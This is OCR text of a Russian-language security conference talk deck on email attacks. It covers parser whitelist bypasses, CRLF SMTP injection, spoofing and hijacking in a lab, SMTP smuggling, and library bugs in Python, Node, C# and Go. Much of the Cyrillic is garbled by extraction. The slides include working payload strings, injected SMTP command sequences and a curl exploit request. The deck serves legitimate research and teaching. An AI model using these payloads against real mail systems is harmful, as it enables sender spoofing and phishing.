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POSITIVE HACK DAYS FEST 2024

o Cneuvanuct no aHanmasy
3awmweHHoctn B DeteAct

o TecTupylo BEO-NPUNOXEHMS Ha
NMPOHMKHOBEHME

o Wccnepyro 6e3onacHoCTb B
Telegram kaHane HaHacking

e B pamkax 0oknaoa:
Ha2s1510HO MPO3KCIIYamupyro /Y

@QWQORO


https://t.me/hahacking

POSITIVE HACK DAYS FEST 2024 - I I Ex t

NccnepoBaTenb 6e3onacHOCTM 13
SolidLab

ABTOp nonynspHoro Telegram kaHana
Slonser notes

AsTop Oday nccnegosaHui Ha
blog.slonser.info

YneH ogHom n3 cunbHenwnx CTF
komaHg mupa C4T BuT S4D

B pamkax doknaoa:
UMMakKmHo rpo3Kcnayamupyro

Bcesonog KokopwuH
@SLONSER


https://t.me/slonser_notes
https://blog.slonser.info

lMpo6riema Ne1: 8B

A4

HEKOPPEKTHbIN MapcuH

agpecoB




phd E)( pt

| Teopuss — o6 agpece
3rIEKTPOHHOW MOYTHI

Liza <"test!”(@gwq.oro)@[127.0.0.1](its me)>
*

Cneuundukauunn:
BanugHble KOHCTPYKUNK *

Internet Standard RFC 822 — [ IP agpeca ]
 ( KommeHnTapuun )

Proposed Standard RFC 2822 —
e “ Ypa, kaBblukn! "

( Draft Standard ) RFC 5322

s

e 11 MHOroe Apyroe, HO Mpu BbINOMHEHUN
YCHOBUW. ..



| Teopuss — o6 agpece =
3rIEKTPOHHOW MOYTHI

[ address (mailbox (name-addr)) ]
[ angle-addr ]
Liza <"test!”(@gwq.oro)@[127.0.0.1](its me)>

( IP agpec ) ( KOMMEHTapun )

[ domain (domain-literal) ]

CJ’IOKaﬂbHOG VIMﬂ) ( KOMMeHTapMVI )

[ local-part (quoted-string) ]

<0T06pa>|<aeM0e VIMFD

[ display-name ]

6



Y Teopusi — o6 agpece Phd EX Pt

GJ'IeKTpOHHOI/I NOYThI
/ KoppekmHbil napcuHa

Liza (@qwg.oro its me) "test!"@[127.0.0.1]

[ REAL NAME ] [ E-MAIL ADDRESS ]

l l

@ NIOBYEMCS ) &2 UCMOMNb3YEM )

- -




| TpeHuposka — Improper Input P9 E)< -

Validation = Whitelist Bypass

hahacking.local/signuj

TexHonorus: [HaHacking] E-maill b
Python
0-2.7.18
3.X-3.12 ® Peructpauyua B cucrteme
ﬂOl‘IYCKaIOTCH TONBLKO NO4YThH AJOMeHa
BM6HV|OTeKa: hahacking.local!
email @ ABpec 3neKTPOHHOW MOYTH
CVE:

2023-27043




| IbeHuposka — Improper Input

phd E)( pt

Validation - Whitelist Bypass *

email = request.form.get('email’)

password = request.form.get('password’

s.send_message(msg)

result = "Bwl ycnewHo =aper

else:

-
result = "[lonyckawTcA TOALKO MNO4YTH AOf

‘—$ python

Python 3.11.2

>>> from email.utils import parseaddr

YasBumble QYHKLNN *

e email.utils.parseaddr()
e email.utils.getaddresses()
[on. ycrnosus

o [lncbmo oTnpaBnsieTcs Ha
NOSHbLIN agpec

>>> parseaddr("contact@hahacking.local]<qwgoro@gwqgoro.local>")

('", 'contact@hahacking.local')

>>>



sy [peHupoeka — Improper Input Phd 2X#

Validation - Whitelist Bypass

| display-name | angle-addr ]

]<gwgoro@gwqoro.local>

A A T

( agpec artaKkyroLlero )

C HerloJiHas KOHCMPYKUuUs )

@

C nodon agpec n3 6enoro cnmcka )

parseaddr () napcut ero kak e-mail address HO NCcbMO NpuAET Ha angle-addr

10



sy [peHuposka — Improper Input Phd 2X#

Validation = Whitelist Bypass
PesynbraT

* = ) - [~]
= curl POST http://hahacking.local/signup

. y,EI,OBJ'IeTBOpI/IJ'IM ycrosue 6enoro "email=contact@hahacking.local <qwgoro@qwqoro.local> 77\4
&password=qwgorogwgoro"

CrNunckKa
-~ <body>
° HonqunmnMCbM0+ﬂaCBomanpec 4 o "
<div class= qutacE > \\\\
BHe 6enoro cnucka <h2 class="title">Perucrtpauyus B cucreme</h2>

<form action="signup" method="post">

42Bbl YCMNewHo 3aperucTpupoBaHsl ! Ak

F ~1ahal far="nama"sAnnar anavrTtnnuunia nnurtu+*~/1ahals

From: HaHacking <cbntact@hahacking.local>
IR G <contact@hahacking. local>]<qwgoro@qwqgoro. local>>
Content-Type: text/plain; charset="utf-8"

Welcome to HaHacking! You have successfully signed up!




IP & email Phd 2 X &

domain = dot-atom / domain-literal / obs-domain

domain-literal [CFWS] "[" *([FWS] dtext) [FWS] "1" [CFWS]

—=

dtext =  %d33-90 / ; Printable US-ASCII
%d94-126 / ;  characters not including | -
Obs—dtext ; 11 [" , "] " , OI n \ n

T NS
Email Address - name@[127.0.0.1]  §§¢£1&&




) 500 — Python is bad... phd 2)( pt

( )
from email.utils import parseaddr

# Example email address
email_address = '<slonser@[solidlab>[(\x@b \xa@\x0al>"

# Parsing the email address
name, addr = parseaddr(email_address)

O 0o NdNOYUL B WIN -

print(b'Email Address - ' + addr.encode())

13



NodedS old stuff...

addressparser [or
1.0.1 ¢« Public « Published 8 years ago

[ Readme B code (E} & 0 Dependencies

& 62 Dependents @ 11 Versions

addressparser

Parse e-mail address fields. Input can be a single address ( "andrisa@kreata.ee" ), a formatted
address ( "Andris Reinman <andrisakreata.ee>" ), comma separated list of addresses
("andrispkreata.ee, andris.reinman@kreata.ee" ), anaddress group ( "disclosed-

recipients:andrispkreata.ee;" ) ora mix of all the formats.

In addition to comma the semicolon is treated as the list delimiter as well (except when used in
the group syntax), so avalue "andrisakreata.ee; andris.reinmangkreata.ee"” is

identicalto "andrispkreata.ee, andris.reinmangkreata.ee" .

Installation

Install

> npm i addressparser

Repository
@ github.com/andris9/addressparser

Homepage
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Don’t use this please... PM<

const addressparser = require('addressparser');
var addresses = addressparser('Slonser <slonser@[S]1\x00\r\nl>"');
console. log(addresses);

[ {address: 'slonser@[S]\x00\r\n]', name: 'Slonser'}]



phd 2)( pt

Try another solution

email-addresses
5.0.0 ¢ Public ¢ Published 3 years ago

@ Readme ﬁ Code (@) & 0Dependencies & 178 Dependents @ 14 Versions

email-addresses.js instal

. > npm i1 email-addresses
An RFC 5322 email address parser. i

v 5.0.0

What?

Repository
@ github.com/jackbearheart/email-addres...

Homepage
Want to see if something could be an email address? Want to grab the display name or just the

address out of a string? Put your regexes down and use this parser!

¥+ Weekly Downloads

This library does not validate email addresses - we can't really do that without sending an email.

However, it attempts to parse addresses using the (fairly liberal) grammar specified in RFC 5322.

510963




) 501 — Also doesn’t work... phd E)( pt

\\\\\\11////// liiiii;
////// 1  const addrs = require("email-addresses")

2 let result = addrs.parseOneAddress("<slonser@[::1>\"\\[:<hl>slonser@gmail.com,pycckun?]>")
3 console. log(result.address)

/N
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Many bugs . .

It's just an example, problem also affects:

& Rust libraries
Ruby
PHP

AN




nw :

HegocTaTto4yHasa puneTpauna
crneuunanbHbIX KOHCTp%fu,M

lMpo6riema No2: S8



g [eopus — Obwenve no SMTP phd 2)

220 hahacking.local ESMTP Postfix (Debian/GNU)
EHLO hahacking.local
250-hahacking.local

Komanabl
e HELO/EHLO: HauaTtb coeguHeHune
e QUIT: 3akpbITb COeANHEHNE
@ ¢ RSET: C6pocuTb TpaH3akuuio,

HE 3akpbiBas coeguHeHne

KoHBepT / Envelope

e MAIL FROM: OtnpaButens
e RCPT TO: MonyyaTensb
o DATA: HayaTb nucemo

G[EIEE pits, 7B pkts, 12 turns.
20



g [eopus — Obwenve no SMTP phd 2)

220 hahacking.local ESMTP Postfix (Debian/GNU)
EHLO hahacking.local
250-hahacking.local

Copgepxnmoe nmcbma

( 3aronoBku )

e From: OTtnpasutens
e To: [MonyyaTens
e Subject: Tema
@ e« Cc, Bcc Konuu

( Teno nucbma )

TestTextTestText <
CneunanbHble KOHCTPYKLNK -
250 2.0.0 Ok: queued as 1E8C027B71
o <SP>: Otpoenntb apryMmeHT i SOUN

o e <CRLF>: 3akpbiTb kOMaHAy / CTPOKY
e <CRLF>.<CRLF>: 3akpbiTb DATA

G[EIEE pits, 7B pkts, 12 turns.
Al



| IbeHuposka — Improper Input Phd 2)< -

Validation > CRLF SMTP Injection

hahacking.local

[HaHacking] E-maill '

TexHonorus:

NodeJS CBA3aTbCH

SNNeKTPOHHOWU NOYThl
BubnuoTteka:

smtp-client

MTA:
Postfix

22



sy [peHuposka — Improper Input Phd 2X#

Validation - CRLF SMTP Injection

/ HopmaribHoe rosedeHue

~ HTML Form URL Encoded: application/x-www-form-urlencoZed

» Form item: "email" = "testemail@test.local"
» Form item: "text" = "TestTextTestText"
* NGRSt estemail@test . locally

BxoaHble ToOYKM *

. email —> (MAIL FROM) 354 End data with <CR><LF>.<CR><LF>
TestTextTestText

- text — ( DATA ) .

23




sy [peHuposka — Improper Input Phd 2X#

Validation - CRLF SMTP Injection

( MAIL FROM )

OtcyTcTBUE CaHUTU3AUMK

172 v mail({from=null, timeout=0, utf§=false}={}) {
lines = []; ( DATA )

let handler = (line) => linesgpush(line);
® f 115 let command = "MAIL FROM:<B{fF@mjp\r\n’;

HepocTtaTo4yHasi caHuTU3aumns
A

279 v data(source, {sourceSize=0, timeout=0}={}) {

command = DATA\r\n ;
lines = []; L 4
@ | 29 return this.write( ${source.replace(/A\./m,".." )|}\r\n.\r\n %

24



| TpeHuposka — CRLF SMTP
Injection = E-mail Spoofing
/ JKennyamauyusi

MAIL FROM:<you@example.org>

RCPT TO:<contact@hahacking.local>

« HTML Form URL Enc 354 End data with <CR><LF>.<CR><LF>

K KX » Form item: "email"™\& "you@example.org"
Form item: "text" = 4, Hello! ; - ;
SERMATL FROM:<akamir@hahacking.local>
2] - - .. MAIL FROM:<akamir@hahacking.local> / RCPT TO:<bazhena@hahacking.local>
»
RCPT TO:<bazhena@hahacking.local> . ’
DATA e g ©) Check this out! https://t.me/hahacking

Check this out! https://t.me/hahacking" ® Ok: queued as C331927B71

data with <CR><LF>.<CR><LF>
© Ok: queued as C4F1C27B78

2.0.
2%
21
End

2.0.

25




| TpeHuposka — CRLF SMTP
Injection = E-mail Spoofing

* = —
(qwqoro%® kali) - [/var/mail] :
* Pesynerar e cidolen contac |
From you@example.org =« =« ===« .. 1
o BO3MOXHOCTb OTNpaBKN NPOM3BOSIbHbIX Return-Path: <you@example.org> ‘
MUCEM OT YYXKOFrO UMEHM C YSA3BUMOrO X-Original-To: contact@hahacking.local | — —
MOYTOBOrO CepBuMca Delivered-To: contact@hahacking.local ;iii::
.Hello!
[:—(~<f ali)-[/var/mail]
$ sudo cat bazhena )
21 --- = From akamir@hahacking.local

Return-Path: <akamir@hahacking.local>
X-0riginal-To: bazhena@hahacking.local
Delivered-To: bazhena@hahacking.local

Check this out! https://t.me/hahacking
26




wg TPEHUPOEKa — CRLF SMTP ~ Phd 2X#
Injection = E-mail Hijacking

C oTrnpaBneHo )-.;

( oXXnaaetcs DATA)

Aon. ycrnosus \‘ :

o OgHo coegnHeHne Ha Bcex
 [loyTOBLIN CepBep He paspbiBaET
coeguHeEHue nocrie oLwnobKu

essage queued for delivery.

O M
.00
.50
.1 Invalid command.
.1 Invalid command.

@- - =+ MAIL FROM:<akamir@hahacking. local>
X 503 5.5.1 Multiple MAIL commands not allowed.
* Pe3yanaT 0] RCPT TO:<contact@hahacking. local>

250 2.1.5 OK

o BO3MOXHOCTb nepexsara 4yXoro DATA S .
354 Start mail input; end with <CRLF>.<CRLF>
nMcbMa B pamMkax coeguHeHus

Super secret! <

27 250 2.0.0 Message queued for delivery.
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[ CRLF ]

*

HanomHum *

o BO3MOXHOCTb BCTaBKM Takxe MOXeT
BKJ1HOMaTb I'IG,OGGOObI CMpoK

slonser@[S\x00\r\n]

[ E-MAIL ADDRESS |]

O



A

C# exploitable? pPhd 2)( pt

YcnoBus

o CTaHpapTHas Gubnunoreka
o KoHTponupyem agpec

29

X

static void sendMessage(String to_string){

)

MailAddress from = new MailAddress("from@domen.ru", "Slonser");
MailAddress to = new MailAddress(to_string);

MailMessage m = new MailMessage(from, to);

Console.WriteLine(to);

m.Subject = "Subject";

m.Body = "Body";

SmtpClient smtp = new SmtpClient("smtp.yandex.ru", 587);
smtp.Credentials = new NetworkCredential("from@domen.ru", "password");
smtp.EnableSsl = true;

smtp.Send(m) ;



@ D0l — Simple Payload? phd 2 #

- G *

e MailAddress wucnonb3yet punsTp
« Hanpsamyto BctaBnserca 8 SMTP

'ygg to_string="<slonser.bugbounty@\r\nyandex. ru>";
sendMessage(to_string); |

v to [MailAddress]: {slonser.bugbounty@yandex.ru}

Address [string]: "slonser.bugbounty@yandex.ru"

DisplayName [string]:

Host [string]: "yandex.ru"

User [string]: "slonser.bugbounty"

30




AR Not IP domain? phd 2)( o
’k.

Ycnosus *
var to_string="<slonser.bugbounty@[test\r\n]>";

e MailAddress wucnonb3yet punsTp sendMessage (to_string);

o Hanpsamyto sctaBnsaetrcsa B SMTP

v to [MailAddress]: {slonser.bugbounty@[test < e J
Address [string]: "slonser.bugbounty@[test\r\n]"
DisplayName [string]: ""
Host [string]: "[test\r\n]"

User [string]: "slonser.bugbounty"

31



Final? phd 2X#
X f:z slonsere@|::1

* Ycnosus RSET
MAIL FROM:
o BctaBngem SMTP komaHAbl BHYTpb agpeca <slonser .bugbountv@vandex. ru>
» Nobexpaem RCPT TO:
<recipient@yandex.ru>
slonser.bugbounty@yandex.ru ' b nt lex.ru & DATA
From:
S3bIk nUcbMa — aBTo. [lepeBecTn Ha pyCcCcKuin? Slonse r. buqbountv@vandex .Fu
Changed
Changed
QUIT

32 -


mailto:slonser.bugbounty@yandex.ru
mailto:recepient@yandex.ru
mailto:slonser.bugbounty@yandex.ru




phd 2)( pt

| Teopusd — KoMMNOoHEeHTbI NoyThbl

[N N

34



g [eopus — Obwenve no SMTP phd 2)
)k.

CneumanbHbie KOHCTPYKLnM Toxe nHoraa 3akpbiBatoT DATA:
o <SP>: OToenuTb aprymeHT
e <CR>.<LF>
e <CRLF>: 3akpbITb kOMaHAy / CTPOKY
©) : e <LF>.<LF>
e <CR>.<CR>

<CRLF>.<LF>
<LF>.<CRLF>
<CRLF>\x00.<CRLF>
<CRLF>.\x00<CRLF>

b{ 3aronosku )
( Teno nucbma )
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36

[lpumep — SMTP Smuggling Ph
S N TN

mail FROM:<admin@sender>
rcpt TO:<target@receiver>
data

(@) SEC Consult: SMTP Smuggling
smtpsmuggling.com

N



https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/

| [lpumep — SMTP Smuggling PC EX i

“Ucxopawmn® cepeep “lMpuHMMaloWwmMin” cepeep

STARTTLS
MAIL FROM: A
AUTH LOGIN . .. D
& MAIL FROM: A (__DKIM ) FDIATA . &
RCPT: b (: DMARC ) puseT!
DATA .
mer! |l (= | =eeeeeesseeszossannzssezosoca
: <LF>.<CRLF> E MAIL FROM: AJMWH ¢
T Q : MAIL FROM: AJIMMH RCPT: b ?
R<EMUIE - RCPT: b DATA ERH<E A
. DATA t.me/hahacking . ??

. t.me/hahacking % ??

e Cisco o Postfix
e Microsoft Exchange Online e Sendmail e Exim

37 « GMX e aiosmtpd e SurgeMail


http://t.me/hahacking
http://t.me/hahacking

38

From: login@domain.com

From: <login@domain.com>

From: "Name" <login@domain.com>

From: <login@domain.com> (comment)

From: group: slonser@domain.com, notslonser@domain.com

Sender: <login@domain.com> cr




) Impgct

spoofed@gmail.com

Test Email 04.01.2024
Hello!

spoofed@outlook.com
KOMY: MHE ¥

Abobus

s @ spoofed@g... spoofed@gmail.com &

@] MepeBecTu Ha pycckum

amogus
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Gmail = Yandex, Outlook, Phd EX Pt

%

From: <spoofed@gmail.com> "spoofed"
O <slonser.bugbounty@gmail.com>

l

Abobus

, @ spoofed@g... spoofed@gmail.com &

Amogus




) Comments

One of the attack vectors is address spoofing *
package main GOIang / CVE_2024_24784 *
import (

" Fmt"
"net/mail"

func main() {
addressListString := "(<evil@gmail.com>,) <sevakokorin8@@gmail.com>"

addressList, err := mail.ParseAddresslList(addressListString)

if err != nil {
fmt.Println("Error parsing address list:", err)
return
}
for _, addr := range addressList {
fmt.Printf("Name: %s, Address: %s\n", addr.Name, addr.Address)
}
}
Output:
Name: (, Address: evil@gmail.com i

Name: ), Address: sevakokorin8@@gmail.com

41



) Grouplng nightmare

-

Example:

From: family: mom@domain.com,

dad@domain.com, son@domain.com



mailto:mom@domain.com

43

Invalid Group-

Example:

<spoofed@domain.com>:<valid@domain.com>

<valid@domain.com>:<spoofed@domain.com>



mailto:spoofed@domain.com

44

Outlook = Gmail Phd E)< Pt

Slonser
® | <slonser.bugbounty@outlook.com>: spoofed@outlook.com

’

"Slonser <slonser.bugbounty@outlook.com>:" <spoofed@outlook.com>

sevakokorin80@gmail.com

Abobus

PASS c IP-agpecom 2a01:111:f403:2e08:0:0:0:801. lNogpobHee...

'PASS', pomeH outlook.com [logpoGHee...

'PASS' lNMogpobHee...



mailto:bugbounty@outlook.com

45

®©

Gmail > Outlook, Yandex Phd2X®

%

Slonser
<spoofed@gmail.com>:<slonser.bugbounty@gmail.com>

l

SpOOfed@gmail.Com spoore ; gl nail.com A CfAarm~riiea s 16019

(Be3 TeMbl)



mailto:bugbounty@outlook.com

phd 2 X
CChITIKU — 4TOBbl y3HaTb YyTe o AP

nogpobHee

@ CTATEA ) &8 CTATER ) &;g OEMO )

S A
Email Attacks E-mail Injection Mail Injection

blog.slonser.info/posts/email-attacks/ hahacking.t.me/38 github.com/qwqoro/Mail-Injection

46


https://t.me/hahacking/38
http://blog.slonser.info/posts/email-attacks/
https://github.com/qwqoro/Mail-Injection
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